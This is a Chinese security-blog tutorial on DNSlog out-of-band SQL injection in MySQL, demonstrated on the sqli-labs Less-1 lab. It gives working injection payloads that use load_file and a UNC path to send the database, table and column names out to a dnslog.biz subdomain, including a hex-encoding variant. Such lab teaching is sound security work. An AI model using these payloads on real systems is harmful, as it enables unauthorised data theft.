DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨

admin 2024年7月20日10:03:47评论124 views字数 1777阅读5分55秒阅读模式

DNSlog原理

  • 「DNS(Domain Name System)」:负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。
  • 「DNSlog」:即DNS的日志,记录了域名解析时的域名和解析IP的信息。
  • 「DNSlog外带原理」:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。

DNSlog注入

  • 「关键函数」:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。
  • 使用前提:
    1. 存在注入点。
    2. 拥有root权限。
    3. 数据库具有读写权限,即secure_file_priv设置为空字符串。
    4. 具备请求URL的权限。
    5. 必须是Windows服务器环境。

复现过程

D盘中写了个1.txt

DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240715150915441

Tips:sql注入全系列教程====》》从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

通过load_file函数,读取一下

 select load_file('D:/1.txt')
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
0944677c9f45487a9dbb36d338bb442c

由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接

select concat('Sentiment','\',(select database()));
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
0304fa11c28f43898148b338f714af34

这里我用的是dnslog.org,获取一个随机的dns域名

DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240719102107252

接下来通过sqli第一关进行演示,通过你获取的「随机dns域名」DNSlog外带数据库信息,注意dns域名前面需要有个「点」,否则会导致外带不成功

http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240719102128109

此时「dns解析记录」就有了你靶机的数据库名称前缀

DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240719102150899

外带表名

?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from  information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240719102455367
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240719102422819

外带列名

?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from  information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨

通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性

?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from  information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w
DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240719102803502

十六进制转字符

DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨
image-20240715145950996

网安学习不迷路,欢迎各位网络安全大佬进来交流学习

DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨

原文始发于微信公众号(小羽网安):DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月20日10:03:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨https://cn-sec.com/archives/2973890.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息